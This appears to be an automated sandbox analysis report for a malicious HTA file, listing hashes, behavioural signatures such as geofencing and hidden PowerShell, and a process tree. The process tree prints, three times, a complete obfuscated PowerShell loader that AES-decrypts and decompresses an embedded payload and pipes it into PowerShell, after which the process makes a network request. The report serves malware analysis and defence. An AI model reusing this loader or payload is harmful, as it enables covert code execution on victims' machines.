Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

  • max time kernel
    106s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-01-2025 11:26

General

  • Target

    163.5.169.28/atoletter2.hta

  • Size

    1.1MB

  • MD5

    3aa22e06354205638a0560dfd95ba73d

  • SHA1

    bd77bf64a070a8f233197e2db3cdef0879cc446d

  • SHA256

    8867f18c416e402fa6c470e2fa207e2ff1809b69a450356bd8a8c854edea4dd5

  • SHA512

    ce75e12481f9840666fc783bed155779d75845e0b81f5679dd5ea801ad359527b389b611ca11eda321fb28d77dc10089ebf073c41aa00e51b921ea0cc1c28b8b

  • SSDEEP

    1536:qb0rlgqoroRgFUnAFzUbVlt9Ci5namr/l1vcmafSIm+lIWFjBoOuqpd2eWSFU4ww:qb0rlmrkgFUnAFgbVLFnG

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\atoletter2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2932
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $eAiTrF = 'AAAAAAAAAAAAAAAAAAAAADiqQn+L98Lnbhfc9YVCB5Orw3m2vSQ5edjYIN+I7uvxUInkLQQrayyFuEDHJcxIukMWd0J+xiCidgbbtXz/AjYGsEJg2jibnk4w8bauydN5lzL4aAMjtOBItY7+SmBQG3oqJAt2VltX67rB79Uvi7MiU4ClKSrClrBKSZQ1WJYozCT+Wp93LF80XerBDREAAq2O9LUZQqAejd8Ix11YvvXT97kmknLEjQWmB3RkGdxUt0Qrkat1GhBU0m8StQEZRFVqFQQXEJGStiKuv24k/PmX4/6Yi7tIREBqxX0K026b3LiyK8gD0Kto8uT3tDn23bzDMeGKoEkvvYf6UuB6tUS1KFv8u76v1MRw/alDGIB6CAkPj+gL/IkVL2qtN7K5f3AYEdN3ODeL37pWBeLRa1oMXDAnNS/YzrEQsesDnNCIPhnblwSn0a+aXAF1F4IzACK5RfADPEXMnksO3ODb8Sl17P4N+PmydJ0oZyAoMt+ovN/avgG6E35zlZsRAy28dGpJY02qWDiMCBRO6onbTDDbSLWjOrz5MWTKnl+4z2zEebriQVMiWUM7n8vGRcRREMwFNfu+psmwJeATihW7jsmsRfcaqHTGD6umlmxq4+h9K/0OfwvH33HPiMsS3cZ0trMFg1ZF5o1EvaSGNd8dIvpuABmQ02QI03BoeIk/BmtADEOGrMlr43KAba0GXjRpAQrOpGV55/3N9/5/s4lJAdFvQQCBkF7s6nrbFvIOkYWa2qKu1DUuGtpkC0/YaIMdvsKdublGMWXPJ4hYTNK2s6UOHMz50xCrWfIvoRuciE/gq9lYMyLwsWkbPUwyottwNdMVFySkspYwRxYniB4OhQRj4OJCZu4j83Jy/Mp52UFGO7QGWZTcS5O16A76CO3b4oc+GD9Fgh51AhdYsZ1IFM6R8cMfC+ZO56kw3pfWaFxUff+bOD5PiDmOOu/bQICppqE8SpdSLf1xOHtN/SH+xuet3eaT2vaYY0S3d6ia1QKm';$hFlQR = 'S2VSTnNLUUJiSXVXaUVKYmJFQUN6ZXZuQ1FZUkNmS3k=';$ueqbneh = New-Object 'System.Security.Cryptography.AesManaged';$ueqbneh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ueqbneh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ueqbneh.BlockSize = 128;$ueqbneh.KeySize = 256;$ueqbneh.Key = [System.Convert]::FromBase64String($hFlQR);$bleGb = [System.Convert]::FromBase64String($eAiTrF);$AvnmtSqS = $bleGb[0..15];$ueqbneh.IV = $AvnmtSqS;$kmIzocLDo = $ueqbneh.CreateDecryptor();$nYLAsPvwb = $kmIzocLDo.TransformFinalBlock($bleGb, 16, $bleGb.Length - 16);$ueqbneh.Dispose();$KorHQ = New-Object System.IO.MemoryStream( , $nYLAsPvwb );$cYVuxmc = New-Object System.IO.MemoryStream;$EoaxXywDe = New-Object System.IO.Compression.GzipStream $KorHQ, ([IO.Compression.CompressionMode]::Decompress);$EoaxXywDe.CopyTo( $cYVuxmc );$EoaxXywDe.Close();$KorHQ.Close();[byte[]] $pjaBnP = $cYVuxmc.ToArray();$ShHgsp = [System.Text.Encoding]::UTF8.GetString($pjaBnP);$ShHgsp | powershell - }
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4120
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $eAiTrF = 'AAAAAAAAAAAAAAAAAAAAADiqQn+L98Lnbhfc9YVCB5Orw3m2vSQ5edjYIN+I7uvxUInkLQQrayyFuEDHJcxIukMWd0J+xiCidgbbtXz/AjYGsEJg2jibnk4w8bauydN5lzL4aAMjtOBItY7+SmBQG3oqJAt2VltX67rB79Uvi7MiU4ClKSrClrBKSZQ1WJYozCT+Wp93LF80XerBDREAAq2O9LUZQqAejd8Ix11YvvXT97kmknLEjQWmB3RkGdxUt0Qrkat1GhBU0m8StQEZRFVqFQQXEJGStiKuv24k/PmX4/6Yi7tIREBqxX0K026b3LiyK8gD0Kto8uT3tDn23bzDMeGKoEkvvYf6UuB6tUS1KFv8u76v1MRw/alDGIB6CAkPj+gL/IkVL2qtN7K5f3AYEdN3ODeL37pWBeLRa1oMXDAnNS/YzrEQsesDnNCIPhnblwSn0a+aXAF1F4IzACK5RfADPEXMnksO3ODb8Sl17P4N+PmydJ0oZyAoMt+ovN/avgG6E35zlZsRAy28dGpJY02qWDiMCBRO6onbTDDbSLWjOrz5MWTKnl+4z2zEebriQVMiWUM7n8vGRcRREMwFNfu+psmwJeATihW7jsmsRfcaqHTGD6umlmxq4+h9K/0OfwvH33HPiMsS3cZ0trMFg1ZF5o1EvaSGNd8dIvpuABmQ02QI03BoeIk/BmtADEOGrMlr43KAba0GXjRpAQrOpGV55/3N9/5/s4lJAdFvQQCBkF7s6nrbFvIOkYWa2qKu1DUuGtpkC0/YaIMdvsKdublGMWXPJ4hYTNK2s6UOHMz50xCrWfIvoRuciE/gq9lYMyLwsWkbPUwyottwNdMVFySkspYwRxYniB4OhQRj4OJCZu4j83Jy/Mp52UFGO7QGWZTcS5O16A76CO3b4oc+GD9Fgh51AhdYsZ1IFM6R8cMfC+ZO56kw3pfWaFxUff+bOD5PiDmOOu/bQICppqE8SpdSLf1xOHtN/SH+xuet3eaT2vaYY0S3d6ia1QKm';$hFlQR = 'S2VSTnNLUUJiSXVXaUVKYmJFQUN6ZXZuQ1FZUkNmS3k=';$ueqbneh = New-Object 'System.Security.Cryptography.AesManaged';$ueqbneh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ueqbneh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ueqbneh.BlockSize = 128;$ueqbneh.KeySize = 256;$ueqbneh.Key = [System.Convert]::FromBase64String($hFlQR);$bleGb = [System.Convert]::FromBase64String($eAiTrF);$AvnmtSqS = $bleGb[0..15];$ueqbneh.IV = $AvnmtSqS;$kmIzocLDo = $ueqbneh.CreateDecryptor();$nYLAsPvwb = $kmIzocLDo.TransformFinalBlock($bleGb, 16, $bleGb.Length - 16);$ueqbneh.Dispose();$KorHQ = New-Object System.IO.MemoryStream( , $nYLAsPvwb );$cYVuxmc = New-Object System.IO.MemoryStream;$EoaxXywDe = New-Object System.IO.Compression.GzipStream $KorHQ, ([IO.Compression.CompressionMode]::Decompress);$EoaxXywDe.CopyTo( $cYVuxmc );$EoaxXywDe.Close();$KorHQ.Close();[byte[]] $pjaBnP = $cYVuxmc.ToArray();$ShHgsp = [System.Text.Encoding]::UTF8.GetString($pjaBnP);$ShHgsp | powershell -
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1112
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $eAiTrF = 'AAAAAAAAAAAAAAAAAAAAADiqQn+L98Lnbhfc9YVCB5Orw3m2vSQ5edjYIN+I7uvxUInkLQQrayyFuEDHJcxIukMWd0J+xiCidgbbtXz/AjYGsEJg2jibnk4w8bauydN5lzL4aAMjtOBItY7+SmBQG3oqJAt2VltX67rB79Uvi7MiU4ClKSrClrBKSZQ1WJYozCT+Wp93LF80XerBDREAAq2O9LUZQqAejd8Ix11YvvXT97kmknLEjQWmB3RkGdxUt0Qrkat1GhBU0m8StQEZRFVqFQQXEJGStiKuv24k/PmX4/6Yi7tIREBqxX0K026b3LiyK8gD0Kto8uT3tDn23bzDMeGKoEkvvYf6UuB6tUS1KFv8u76v1MRw/alDGIB6CAkPj+gL/IkVL2qtN7K5f3AYEdN3ODeL37pWBeLRa1oMXDAnNS/YzrEQsesDnNCIPhnblwSn0a+aXAF1F4IzACK5RfADPEXMnksO3ODb8Sl17P4N+PmydJ0oZyAoMt+ovN/avgG6E35zlZsRAy28dGpJY02qWDiMCBRO6onbTDDbSLWjOrz5MWTKnl+4z2zEebriQVMiWUM7n8vGRcRREMwFNfu+psmwJeATihW7jsmsRfcaqHTGD6umlmxq4+h9K/0OfwvH33HPiMsS3cZ0trMFg1ZF5o1EvaSGNd8dIvpuABmQ02QI03BoeIk/BmtADEOGrMlr43KAba0GXjRpAQrOpGV55/3N9/5/s4lJAdFvQQCBkF7s6nrbFvIOkYWa2qKu1DUuGtpkC0/YaIMdvsKdublGMWXPJ4hYTNK2s6UOHMz50xCrWfIvoRuciE/gq9lYMyLwsWkbPUwyottwNdMVFySkspYwRxYniB4OhQRj4OJCZu4j83Jy/Mp52UFGO7QGWZTcS5O16A76CO3b4oc+GD9Fgh51AhdYsZ1IFM6R8cMfC+ZO56kw3pfWaFxUff+bOD5PiDmOOu/bQICppqE8SpdSLf1xOHtN/SH+xuet3eaT2vaYY0S3d6ia1QKm';$hFlQR = 'S2VSTnNLUUJiSXVXaUVKYmJFQUN6ZXZuQ1FZUkNmS3k=';$ueqbneh = New-Object 'System.Security.Cryptography.AesManaged';$ueqbneh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ueqbneh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ueqbneh.BlockSize = 128;$ueqbneh.KeySize = 256;$ueqbneh.Key = [System.Convert]::FromBase64String($hFlQR);$bleGb = [System.Convert]::FromBase64String($eAiTrF);$AvnmtSqS = $bleGb[0..15];$ueqbneh.IV = $AvnmtSqS;$kmIzocLDo = $ueqbneh.CreateDecryptor();$nYLAsPvwb = $kmIzocLDo.TransformFinalBlock($bleGb, 16, $bleGb.Length - 16);$ueqbneh.Dispose();$KorHQ = New-Object System.IO.MemoryStream( , $nYLAsPvwb );$cYVuxmc = New-Object System.IO.MemoryStream;$EoaxXywDe = New-Object System.IO.Compression.GzipStream $KorHQ, ([IO.Compression.CompressionMode]::Decompress);$EoaxXywDe.CopyTo( $cYVuxmc );$EoaxXywDe.Close();$KorHQ.Close();[byte[]] $pjaBnP = $cYVuxmc.ToArray();$ShHgsp = [System.Text.Encoding]::UTF8.GetString($pjaBnP);$ShHgsp
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2764
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • Blocklisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3924

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    def65711d78669d7f8e69313be4acf2e

    SHA1

    6522ebf1de09eeb981e270bd95114bc69a49cda6

    SHA256

    aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

    SHA512

    05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    15KB

    MD5

    a92e41a4aaa882846e3f13767d9bcf65

    SHA1

    d4104bb33461f802a29434d6f37d8df8be97aa6a

    SHA256

    04a3d34569b539227c1e44a3fae1c2c39fbcc101785e3e2b8c68ad4ddf9f1c04

    SHA512

    bcf09bb7cd78b31a314a150759773ec9521cc70cf58b2d9f0ba087e32093f5b2d218d2c07b05085848d82d196de4addae30419fe5d94e9ccc17c6bcbe3ab1310

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u5ixoigo.lfi.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2764-48-0x0000000007C00000-0x000000000827A000-memory.dmp

    Filesize

    6.5MB

  • memory/3924-55-0x000000006E3B0000-0x000000006E704000-memory.dmp

    Filesize

    3.3MB

  • memory/3924-65-0x0000000007AB0000-0x0000000007ACE000-memory.dmp

    Filesize

    120KB

  • memory/3924-66-0x0000000007AD0000-0x0000000007B73000-memory.dmp

    Filesize

    652KB

  • memory/3924-54-0x000000006E240000-0x000000006E28C000-memory.dmp

    Filesize

    304KB

  • memory/3924-53-0x0000000007A70000-0x0000000007AA2000-memory.dmp

    Filesize

    200KB

  • memory/3924-50-0x0000000007560000-0x00000000075D6000-memory.dmp

    Filesize

    472KB

  • memory/3924-49-0x0000000007190000-0x00000000071D4000-memory.dmp

    Filesize

    272KB

  • memory/3924-67-0x0000000007BD0000-0x0000000007BDA000-memory.dmp

    Filesize

    40KB

  • memory/3924-68-0x0000000007C10000-0x0000000007C21000-memory.dmp

    Filesize

    68KB

  • memory/3924-43-0x0000000005C60000-0x0000000005FB4000-memory.dmp

    Filesize

    3.3MB

  • memory/4120-6-0x00000000054E0000-0x0000000005546000-memory.dmp

    Filesize

    408KB

  • memory/4120-18-0x00000000062F0000-0x000000000630E000-memory.dmp

    Filesize

    120KB

  • memory/4120-21-0x00000000067F0000-0x000000000680A000-memory.dmp

    Filesize

    104KB

  • memory/4120-26-0x0000000071980000-0x0000000072130000-memory.dmp

    Filesize

    7.7MB

  • memory/4120-23-0x0000000007B10000-0x00000000080B4000-memory.dmp

    Filesize

    5.6MB

  • memory/4120-22-0x0000000006850000-0x0000000006872000-memory.dmp

    Filesize

    136KB

  • memory/4120-19-0x00000000063A0000-0x00000000063EC000-memory.dmp

    Filesize

    304KB

  • memory/4120-20-0x00000000074C0000-0x0000000007556000-memory.dmp

    Filesize

    600KB

  • memory/4120-2-0x0000000005770000-0x0000000005D98000-memory.dmp

    Filesize

    6.2MB

  • memory/4120-5-0x0000000005440000-0x0000000005462000-memory.dmp

    Filesize

    136KB

  • memory/4120-0-0x000000007198E000-0x000000007198F000-memory.dmp

    Filesize

    4KB

  • memory/4120-17-0x0000000005DA0000-0x00000000060F4000-memory.dmp

    Filesize

    3.3MB

  • memory/4120-7-0x0000000005550000-0x00000000055B6000-memory.dmp

    Filesize

    408KB

  • memory/4120-4-0x0000000071980000-0x0000000072130000-memory.dmp

    Filesize

    7.7MB

  • memory/4120-3-0x0000000071980000-0x0000000072130000-memory.dmp

    Filesize

    7.7MB

  • memory/4120-1-0x0000000001160000-0x0000000001196000-memory.dmp

    Filesize

    216KB